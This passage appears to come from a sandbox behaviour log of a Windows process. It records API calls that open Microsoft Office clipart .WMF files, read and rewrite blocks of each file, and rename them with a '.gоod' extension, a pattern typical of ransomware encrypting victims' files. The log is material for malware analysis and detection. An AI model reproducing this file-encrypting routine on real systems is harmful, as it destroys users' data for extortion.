nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x35b1e60*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0204.938] CloseHandle (hObject=0x7f8) returned 1 [0204.938] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", lpFilePart=0x0) returned 0x44 [0204.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.938] GetFileType (hFile=0x7f8) returned 0x1 [0204.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.938] GetFileType (hFile=0x7f8) returned 0x1 [0204.938] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x3896 [0204.938] WriteFile (in: hFile=0x7f8, lpBuffer=0x35c1e68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x35c1e68*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0204.939] CloseHandle (hObject=0x7f8) returned 1 [0204.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", lpFilePart=0x0) returned 0x44 [0204.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.939] GetFileType (hFile=0x7f8) returned 0x1 [0204.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.939] GetFileType (hFile=0x7f8) returned 0x1 [0204.939] ReadFile (in: hFile=0x7f8, lpBuffer=0x35c4128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35c4128*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0205.071] CloseHandle (hObject=0x7f8) returned 1 [0205.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", lpFilePart=0x0) returned 0x44 [0205.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0205.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.072] GetFileType (hFile=0x7f8) returned 0x1 [0205.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0205.072] GetFileType (hFile=0x7f8) returned 0x1 [0205.072] WriteFile (in: hFile=0x7f8, lpBuffer=0x35c2e80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35c2e80*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0205.072] CloseHandle (hObject=0x7f8) returned 1 [0205.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", lpFilePart=0x0) returned 0x44 [0205.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0205.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0205.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x76733acf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38a6)) returned 1 [0205.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0205.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.gоod")) returned 1 [0205.074] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", lpFilePart=0x0) returned 0x44 [0205.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0205.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3640518 | out: lpFileInformation=0x3640518*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780)) returned 1 [0205.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0205.074] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", lpFilePart=0x0) returned 0x44 [0205.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0205.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.075] GetFileType (hFile=0x7f8) returned 0x1 [0205.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0205.075] GetFileType (hFile=0x7f8) returned 0x1 [0205.075] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0205.075] ReadFile (in: hFile=0x7f8, lpBuffer=0x3640930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3640930*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0205.197] CloseHandle (hObject=0x7f8) returned 1 [0206.414] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", lpFilePart=0x0) returned 0x44 [0206.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0206.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0206.415] GetFileType (hFile=0x644) returned 0x1 [0206.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0206.415] GetFileType (hFile=0x644) returned 0x1 [0206.415] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x4780 [0206.415] WriteFile (in: hFile=0x644, lpBuffer=0x349ae40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x349ae40*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0207.569] CloseHandle (hObject=0x644) returned 1 [0207.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", lpFilePart=0x0) returned 0x44 [0207.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0207.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0207.769] GetFileType (hFile=0x820) returned 0x1 [0207.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0207.769] GetFileType (hFile=0x820) returned 0x1 [0207.770] ReadFile (in: hFile=0x820, lpBuffer=0x34acf40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34acf40*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0207.798] CloseHandle (hObject=0x820) returned 1 [0207.798] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", lpFilePart=0x0) returned 0x44 [0207.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0207.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0207.798] GetFileType (hFile=0x820) returned 0x1 [0207.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0207.798] GetFileType (hFile=0x820) returned 0x1 [0207.798] WriteFile (in: hFile=0x820, lpBuffer=0x34abc98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34abc98*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0208.388] CloseHandle (hObject=0x820) returned 1 [0208.622] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", lpFilePart=0x0) returned 0x44 [0208.622] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0208.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0208.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x786cad64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4790)) returned 1 [0208.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0208.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.gоod")) returned 1 [0208.623] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", lpFilePart=0x0) returned 0x44 [0208.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0208.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x360d2c0 | out: lpFileInformation=0x360d2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32)) returned 1 [0208.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0208.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", lpFilePart=0x0) returned 0x44 [0208.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0208.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0208.624] GetFileType (hFile=0x820) returned 0x1 [0208.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0208.625] GetFileType (hFile=0x820) returned 0x1 [0208.625] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0208.625] ReadFile (in: hFile=0x820, lpBuffer=0x360d7c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x360d7c0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0208.626] CloseHandle (hObject=0x820) returned 1 [0208.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", lpFilePart=0x0) returned 0x44 [0208.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0208.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0208.626] GetFileType (hFile=0x820) returned 0x1 [0208.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0208.626] GetFileType (hFile=0x820) returned 0x1 [0208.626] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2b32 [0208.626] WriteFile (in: hFile=0x820, lpBuffer=0x360eb30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x360eb30*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0208.627] CloseHandle (hObject=0x820) returned 1 [0208.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", lpFilePart=0x0) returned 0x44 [0208.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0208.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0208.627] GetFileType (hFile=0x820) returned 0x1 [0208.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0208.627] GetFileType (hFile=0x820) returned 0x1 [0208.627] ReadFile (in: hFile=0x820, lpBuffer=0x3610df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3610df0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0208.657] CloseHandle (hObject=0x820) returned 1 [0208.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", lpFilePart=0x0) returned 0x44 [0208.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0208.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0208.657] GetFileType (hFile=0x820) returned 0x1 [0208.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0208.657] GetFileType (hFile=0x820) returned 0x1 [0208.657] WriteFile (in: hFile=0x820, lpBuffer=0x360fb48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x360fb48*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0208.657] CloseHandle (hObject=0x820) returned 1 [0208.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", lpFilePart=0x0) returned 0x44 [0208.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0208.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0208.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78953508, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b42)) returned 1 [0208.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0208.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.gоod")) returned 1 [0208.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", lpFilePart=0x0) returned 0x44 [0208.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0208.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x368d3d8 | out: lpFileInformation=0x368d3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8)) returned 1 [0208.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0208.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", lpFilePart=0x0) returned 0x44 [0208.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0208.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0208.660] GetFileType (hFile=0x820) returned 0x1 [0208.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0208.660] GetFileType (hFile=0x820) returned 0x1 [0208.660] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0208.660] ReadFile (in: hFile=0x820, lpBuffer=0x368d7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x368d7f0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0209.104] CloseHandle (hObject=0x820) returned 1 [0209.104] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", lpFilePart=0x0) returned 0x44 [0209.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft 